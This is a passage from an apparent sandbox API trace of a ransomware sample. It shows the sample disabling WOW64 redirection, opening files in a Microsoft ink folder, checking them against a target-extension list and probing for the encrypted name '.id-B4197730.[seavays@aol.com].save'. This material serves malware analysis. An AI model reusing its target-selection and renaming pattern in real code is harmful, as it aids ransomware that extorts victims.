Flags=0x0, Size=0x100000) returned 0x36e7020 [0205.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617338 [0205.448] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617338, Size=0x20) returned 0x5fe9e0 [0205.448] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x617248 [0205.448] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617248, Size=0x20) returned 0x5fed28 [0205.448] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x771e0000 [0205.449] GetProcAddress (hModule=0x771e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771f6b30 [0205.449] Wow64DisableWow64FsRedirection (in: OldValue=0x302ff50 | out: OldValue=0x302ff50*=0x0) returned 1 [0205.449] lstrlenW (lpString="kernel32.dll") returned 12 [0205.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fe9e0 | out: hHeap=0x5c0000) returned 1 [0205.449] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0205.449] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fed28 | out: hHeap=0x5c0000) returned 1 [0205.449] Sleep (dwMilliseconds=0x64) [0205.795] Sleep (dwMilliseconds=0x64) [0206.033] Sleep (dwMilliseconds=0x64) [0206.389] Sleep (dwMilliseconds=0x64) [0206.676] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0206.676] lstrlenW (lpString="base.xml") returned 8 [0206.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0206.678] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=3333) returned 1 [0206.678] CloseHandle (hObject=0x33c) returned 1 [0206.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0206.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.678] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.330] lstrlenW (lpString=".doc") returned 4 [0207.330] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.330] lstrlenW (lpString=".docx") returned 5 [0207.330] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0207.330] lstrlenW (lpString=".pdf") returned 4 [0207.330] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.330] lstrlenW (lpString=".xls") returned 4 [0207.330] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.330] lstrlenW (lpString=".xlsx") returned 5 [0207.330] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0207.330] lstrlenW (lpString=".ppt") returned 4 [0207.330] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.330] lstrlenW (lpString=".zip") returned 4 [0207.330] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.330] lstrlenW (lpString=".rar") returned 4 [0207.330] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.330] lstrlenW (lpString=".bz2") returned 4 [0207.330] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.330] lstrlenW (lpString=".7z") returned 3 [0207.330] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.330] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.331] lstrlenW (lpString=".dbf") returned 4 [0207.331] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.331] lstrlenW (lpString=".1cd") returned 4 [0207.331] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.331] lstrlenW (lpString=".jpg") returned 4 [0207.331] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.331] lstrlenW (lpString=".doc") returned 4 [0207.331] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.331] lstrlenW (lpString=".docx") returned 5 [0207.331] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0207.331] lstrlenW (lpString=".pdf") returned 4 [0207.331] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.331] lstrlenW (lpString=".xls") returned 4 [0207.331] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.331] lstrlenW (lpString=".xlsx") returned 5 [0207.331] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0207.331] lstrlenW (lpString=".ppt") returned 4 [0207.331] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.331] lstrlenW (lpString=".zip") returned 4 [0207.331] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.331] lstrlenW (lpString=".rar") returned 4 [0207.332] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".bz2") returned 4 [0207.332] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString=".7z") returned 3 [0207.332] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.332] lstrlenW (lpString=".dbf") returned 4 [0207.332] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.332] lstrlenW (lpString=".1cd") returned 4 [0207.332] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78 [0207.332] lstrlenW (lpString=".jpg") returned 4 [0207.332] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.332] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.332] lstrlenW (lpString="base_heb.xml") returned 12 [0207.332] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.333] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=738) returned 1 [0207.333] CloseHandle (hObject=0x360) returned 1 [0207.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml")) returned 0x20 [0207.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.334] lstrlenW (lpString=".doc") returned 4 [0207.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.334] lstrlenW (lpString=".docx") returned 5 [0207.334] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0207.334] lstrlenW (lpString=".pdf") returned 4 [0207.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.334] lstrlenW (lpString=".xls") returned 4 [0207.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.334] lstrlenW (lpString=".xlsx") returned 5 [0207.334] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0207.334] lstrlenW (lpString=".ppt") returned 4 [0207.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.334] lstrlenW (lpString=".zip") returned 4 [0207.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.334] lstrlenW (lpString=".rar") returned 4 [0207.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.334] lstrlenW (lpString=".bz2") returned 4 [0207.334] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.334] lstrlenW (lpString=".7z") returned 3 [0207.334] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.335] lstrlenW (lpString=".dbf") returned 4 [0207.335] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.335] lstrlenW (lpString=".1cd") returned 4 [0207.335] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.335] lstrlenW (lpString=".jpg") returned 4 [0207.335] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.335] lstrlenW (lpString=".doc") returned 4 [0207.335] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.335] lstrlenW (lpString=".docx") returned 5 [0207.335] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1 [0207.335] lstrlenW (lpString=".pdf") returned 4 [0207.335] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.335] lstrlenW (lpString=".xls") returned 4 [0207.335] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.335] lstrlenW (lpString=".xlsx") returned 5 [0207.335] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1 [0207.335] lstrlenW (lpString=".ppt") returned 4 [0207.335] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.335] lstrlenW (lpString=".zip") returned 4 [0207.335] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.336] lstrlenW (lpString=".rar") returned 4 [0207.336] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.336] lstrlenW (lpString=".bz2") returned 4 [0207.336] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.336] lstrlenW (lpString=".7z") returned 3 [0207.336] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.336] lstrlenW (lpString=".dbf") returned 4 [0207.336] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.336] lstrlenW (lpString=".1cd") returned 4 [0207.336] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 82 [0207.336] lstrlenW (lpString=".jpg") returned 4 [0207.336] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.336] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.336] lstrlenW (lpString="base_jpn.xml") returned 12 [0207.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.337] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=804) returned 1 [0207.337] CloseHandle (hObject=0x360) returned 1 [0207.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0207.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.338] lstrlenW (lpString=".doc") returned 4 [0207.338] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.338] lstrlenW (lpString=".docx") returned 5 [0207.338] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.338] lstrlenW (lpString=".pdf") returned 4 [0207.338] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.338] lstrlenW (lpString=".xls") returned 4 [0207.338] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.338] lstrlenW (lpString=".xlsx") returned 5 [0207.338] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.338] lstrlenW (lpString=".ppt") returned 4 [0207.338] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.338] lstrlenW (lpString=".zip") returned 4 [0207.338] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.338] lstrlenW (lpString=".rar") returned 4 [0207.338] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.338] lstrlenW (lpString=".bz2") returned 4 [0207.338] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.338] lstrlenW (lpString=".7z") returned 3 [0207.338] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.339] lstrlenW (lpString=".dbf") returned 4 [0207.339] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.339] lstrlenW (lpString=".1cd") returned 4 [0207.339] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.339] lstrlenW (lpString=".jpg") returned 4 [0207.339] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.339] lstrlenW (lpString=".doc") returned 4 [0207.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.339] lstrlenW (lpString=".docx") returned 5 [0207.339] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0207.339] lstrlenW (lpString=".pdf") returned 4 [0207.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.339] lstrlenW (lpString=".xls") returned 4 [0207.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.339] lstrlenW (lpString=".xlsx") returned 5 [0207.339] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0207.339] lstrlenW (lpString=".ppt") returned 4 [0207.339] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.339] lstrlenW (lpString=".zip") returned 4 [0207.339] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.340] lstrlenW (lpString=".rar") returned 4 [0207.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.340] lstrlenW (lpString=".bz2") returned 4 [0207.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.340] lstrlenW (lpString=".7z") returned 3 [0207.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.340] lstrlenW (lpString=".dbf") returned 4 [0207.340] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.340] lstrlenW (lpString=".1cd") returned 4 [0207.340] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 82 [0207.340] lstrlenW (lpString=".jpg") returned 4 [0207.340] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.340] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.340] lstrlenW (lpString="base_kor.xml") returned 12 [0207.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.341] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=488) returned 1 [0207.341] CloseHandle (hObject=0x360) returned 1 [0207.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0207.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0207.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.342] lstrlenW (lpString=".doc") returned 4 [0207.342] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.342] lstrlenW (lpString=".docx") returned 5 [0207.342] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0207.342] lstrlenW (lpString=".pdf") returned 4 [0207.342] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.342] lstrlenW (lpString=".xls") returned 4 [0207.342] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.342] lstrlenW (lpString=".xlsx") returned 5 [0207.342] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0207.342] lstrlenW (lpString=".ppt") returned 4 [0207.342] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.342] lstrlenW (lpString=".zip") returned 4 [0207.342] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.342] lstrlenW (lpString=".rar") returned 4 [0207.342] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.342] lstrlenW (lpString=".bz2") returned 4 [0207.342] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.342] lstrlenW (lpString=".7z") returned 3 [0207.342] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.342] lstrlenW (lpString=".dbf") returned 4 [0207.342] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.343] lstrlenW (lpString=".1cd") returned 4 [0207.343] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.343] lstrlenW (lpString=".jpg") returned 4 [0207.343] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.343] lstrlenW (lpString=".doc") returned 4 [0207.343] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0207.343] lstrlenW (lpString=".docx") returned 5 [0207.343] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0207.343] lstrlenW (lpString=".pdf") returned 4 [0207.343] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0207.343] lstrlenW (lpString=".xls") returned 4 [0207.343] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0207.343] lstrlenW (lpString=".xlsx") returned 5 [0207.343] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0207.343] lstrlenW (lpString=".ppt") returned 4 [0207.343] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0207.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.343] lstrlenW (lpString=".zip") returned 4 [0207.343] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0207.343] lstrlenW (lpString=".rar") returned 4 [0207.343] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0207.344] lstrlenW (lpString=".bz2") returned 4 [0207.344] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0207.344] lstrlenW (lpString=".7z") returned 3 [0207.344] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0207.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.344] lstrlenW (lpString=".dbf") returned 4 [0207.344] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0207.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.344] lstrlenW (lpString=".1cd") returned 4 [0207.344] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0207.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 82 [0207.344] lstrlenW (lpString=".jpg") returned 4 [0207.344] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0207.344] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0207.344] lstrlenW (lpString="base_rtl.xml") returned 12 [0207.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0207.345] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=617) returned 1 [0207.345] CloseHandle (hObject=0x360) returned 1 [0207.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0207.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft 